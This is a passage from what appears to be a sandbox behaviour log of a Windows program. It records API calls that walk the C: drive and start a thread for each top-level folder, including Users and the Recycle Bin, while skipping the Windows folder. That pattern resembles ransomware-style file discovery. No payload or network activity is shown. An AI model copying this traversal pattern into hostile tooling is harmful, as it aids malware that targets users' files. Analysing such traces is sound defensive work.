ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0045.525] wcscmp (_String1="Config.Msi", _String2=".") returned 1 [0045.525] wcscmp (_String1="Config.Msi", _String2="..") returned 1 [0045.525] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1e) returned 0x419aa0 [0045.525] wcscpy (in: _Dest=0x419aa0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0045.525] wcscat (in: _Dest=0x419aa0, _Source="Config.Msi" | out: _Dest="C:\\Config.Msi") returned="C:\\Config.Msi" [0045.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x419aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c0 [0045.526] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x444ad8 | out: lpFindFileData=0x444ad8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0045.526] wcscmp (_String1="Documents and Settings", _String2=".") returned 1 [0045.526] wcscmp (_String1="Documents and Settings", _String2="..") returned 1 [0045.526] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x409aa8 [0045.526] wcscpy (in: _Dest=0x409aa8, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0045.526] wcscat (in: _Dest=0x409aa8, _Source="Documents and Settings" | out: _Dest="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0045.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409aa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c4 [0045.527] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x444ad8 | out: lpFindFileData=0x444ad8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0045.527] wcscmp (_String1="hiberfil.sys", _String2=".") returned 1 [0045.527] wcscmp (_String1="hiberfil.sys", _String2="..") returned 1 [0045.527] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x444ad8 | out: lpFindFileData=0x444ad8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0045.527] wcscmp (_String1="MSOCache", _String2=".") returned 1 [0045.527] wcscmp (_String1="MSOCache", _String2="..") returned 1 [0045.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1a) returned 0x419ac8 [0045.527] wcscpy (in: _Dest=0x419ac8, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0045.527] wcscat (in: _Dest=0x419ac8, _Source="MSOCache" | out: _Dest="C:\\MSOCache") returned="C:\\MSOCache" [0045.527] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419ac8) returned 1 [0045.527] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x444ad8 | out: lpFindFileData=0x444ad8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x814762c0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0045.527] wcscmp (_String1="pagefile.sys", _String2=".") returned 1 [0045.527] wcscmp (_String1="pagefile.sys", _String2="..") returned 1 [0045.527] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x444ad8 | out: lpFindFileData=0x444ad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0045.527] wcscmp (_String1="PerfLogs", _String2=".") returned 1 [0045.527] wcscmp (_String1="PerfLogs", _String2="..") returned 1 [0045.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1a) returned 0x419ac8 [0045.527] wcscpy (in: _Dest=0x419ac8, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0045.528] wcscat (in: _Dest=0x419ac8, _Source="PerfLogs" | out: _Dest="C:\\PerfLogs") returned="C:\\PerfLogs" [0045.528] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419ac8) returned 1 [0045.528] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x444ad8 | out: lpFindFileData=0x444ad8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8c247d80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8c247d80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0045.528] wcscmp (_String1="Program Files", _String2=".") returned 1 [0045.528] wcscmp (_String1="Program Files", _String2="..") returned 1 [0045.528] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x24) returned 0x4088c0 [0045.528] wcscpy (in: _Dest=0x4088c0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0045.528] wcscat (in: _Dest=0x4088c0, _Source="Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4088c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8 [0045.529] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x444ad8 | out: lpFindFileData=0x444ad8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x92975e80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x92975e80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0045.529] wcscmp (_String1="Program Files (x86)", _String2=".") returned 1 [0045.529] wcscmp (_String1="Program Files (x86)", _String2="..") returned 1 [0045.529] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x30) returned 0x40a988 [0045.529] wcscpy (in: _Dest=0x40a988, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0045.529] wcscat (in: _Dest=0x40a988, _Source="Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40a988, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc [0045.530] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x444ad8 | out: lpFindFileData=0x444ad8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0045.530] wcscmp (_String1="ProgramData", _String2=".") returned 1 [0045.530] wcscmp (_String1="ProgramData", _String2="..") returned 1 [0045.530] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419ac8 [0045.530] wcscpy (in: _Dest=0x419ac8, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0045.530] wcscat (in: _Dest=0x419ac8, _Source="ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0045.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x419ac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0 [0045.531] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x444ad8 | out: lpFindFileData=0x444ad8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0045.531] wcscmp (_String1="Recovery", _String2=".") returned 1 [0045.531] wcscmp (_String1="Recovery", _String2="..") returned 1 [0045.531] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1a) returned 0x419af0 [0045.531] wcscpy (in: _Dest=0x419af0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0045.531] wcscat (in: _Dest=0x419af0, _Source="Recovery" | out: _Dest="C:\\Recovery") returned="C:\\Recovery" [0045.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x419af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d4 [0045.532] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x444ad8 | out: lpFindFileData=0x444ad8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0045.532] wcscmp (_String1="System Volume Information", _String2=".") returned 1 [0045.532] wcscmp (_String1="System Volume Information", _String2="..") returned 1 [0045.532] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3c) returned 0x402408 [0045.532] wcscpy (in: _Dest=0x402408, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0045.532] wcscat (in: _Dest=0x402408, _Source="System Volume Information" | out: _Dest="C:\\System Volume Information") returned="C:\\System Volume Information" [0045.532] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402408) returned 1 [0045.532] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x444ad8 | out: lpFindFileData=0x444ad8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0045.532] wcscmp (_String1="Users", _String2=".") returned 1 [0045.533] wcscmp (_String1="Users", _String2="..") returned 1 [0045.533] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x14) returned 0x4156d0 [0045.533] wcscpy (in: _Dest=0x4156d0, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0045.533] wcscat (in: _Dest=0x4156d0, _Source="Users" | out: _Dest="C:\\Users") returned="C:\\Users" [0045.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4156d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8 [0045.534] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x444ad8 | out: lpFindFileData=0x444ad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0045.534] wcscmp (_String1="Windows", _String2=".") returned 1 [0045.534] wcscmp (_String1="Windows", _String2="..") returned 1 [0045.534] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x415710 [0045.534] wcscpy (in: _Dest=0x415710, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0045.534] wcscat (in: _Dest=0x415710, _Source="Windows" | out: _Dest="C:\\Windows") returned="C:\\Windows" [0045.534] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415710) returned 1 [0045.534] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x444ad8 | out: lpFindFileData=0x444ad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0045.534] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0045.534] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444ad8) returned 1 [0045.534] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415b70) returned 1 [0045.534] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415f00) returned 1 Thread: id = 58 os_tid = 0xae8 [0045.546] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x24) returned 0x444af0 [0045.546] wcscpy (in: _Dest=0x444af0, _Source="C:\\$Recycle.Bin" | out: _Dest="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0045.546] wcscat (in: _Dest=0x444af0, _Source="\\" | out: _Dest="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0045.546] wcscat (in: _Dest=0x444af0, _Source="*" | out: _Dest="C:\\$Recycle.Bin\\*") returned="C:\\$Recycle.Bin\\*" [0045.546] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4452d8 [0045.546] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0045.547] wcscmp (_String1=".", _String2=".") returned 0 [0045.547] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.547] wcscmp (_String1="..", _String2=".") returned 1 [0045.547] wcscmp (_String1="..", _String2="..") returned 0 [0045.547] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0045.547] wcscmp (_String1="S-1-5-21-3388679973-3930757225-3770151564-1000", _String2=".") returned 1 [0045.547] wcscmp (_String1="S-1-5-21-3388679973-3930757225-3770151564-1000", _String2="..") returned 1 [0045.547] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x446550 [0045.547] wcscpy (in: _Dest=0x446550, _Source="C:\\$Recycle.Bin" | out: _Dest="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0045.547] wcscat (in: _Dest=0x446550, _Source="\\" | out: _Dest="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0045.547] wcscat (in: _Dest=0x446550, _Source="S-1-5-21-3388679973-3930757225-3770151564-1000" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" [0045.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc [0045.548] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0045.548] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0045.548] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4452d8) returned 1 [0045.548] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444af0) returned 1 [0045.548] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x408830) returned 1 Thread: id = 59 os_tid = 0xaec [0045.554] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419b18 [0045.554] wcscpy (in: _Dest=0x419b18, _Source="C:\\Config.Msi" | out: _Dest="C:\\Config.Msi") returned="C:\\Config.Msi" [0045.554] wcscat (in: _Dest=0x419b18, _Source="\\" | out: _Dest="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0045.554] wcscat (in: _Dest=0x419b18, _Source="*" | out: _Dest="C:\\Config.Msi\\*") returned="C:\\Config.Msi\\*" [0045.554] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4452d8 [0045.554] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0045.554] wcscmp (_String1=".", _String2=".") returned 0 [0045.555] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.555] wcscmp (_String1="..", _String2=".") returned 1 [0045.555] wcscmp (_String1="..", _String2="..") returned 0 [0045.555] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0045.555] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0045.555] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4452d8) returned 1 [0045.555] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419b18) returned 1 [0045.555] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419aa0) returned 1 Thread: id = 60 os_tid = 0xaf0 [0045.556] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x38) returned 0x409a68 [0045.556] wcscpy (in: _Dest=0x409a68, _Source="C:\\Documents and Settings" | out: _Dest="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0045.556] wcscat (in: _Dest=0x409a68, _Source="\\" | out: _Dest="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0045.556] wcscat (in: _Dest=0x409a68, _Source="*" | out: _Dest="C:\\Documents and Settings\\*") returned="C:\\Documents and Settings\\*" [0045.556] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4452d8 [0045.556] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0045.556] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4452d8) returned 1 [0045.556] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409a68) returned 1 [0045.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409aa8) returned 1 Thread: id = 61 os_tid = 0xaf4 [0045.557] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x26) returned 0x408830 [0045.557] wcscpy (in: _Dest=0x408830, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.557] wcscat (in: _Dest=0x408830, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.557] wcscat (in: _Dest=0x408830, _Source="*" | out: _Dest="C:\\Program Files\\*") returned="C:\\Program Files\\*" [0045.557] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4452d8 [0045.557] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8c247d80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8c247d80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409aa8 [0045.558] wcscmp (_String1=".", _String2=".") returned 0 [0045.558] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8c247d80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8c247d80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.558] wcscmp (_String1="..", _String2=".") returned 1 [0045.558] wcscmp (_String1="..", _String2="..") returned 0 [0045.558] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0045.558] wcscmp (_String1="Common Files", _String2=".") returned 1 [0045.558] wcscmp (_String1="Common Files", _String2="..") returned 1 [0045.558] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3c) returned 0x402408 [0045.558] wcscpy (in: _Dest=0x402408, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0045.558] wcscat (in: _Dest=0x402408, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0045.558] wcscat (in: _Dest=0x402408, _Source="Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program 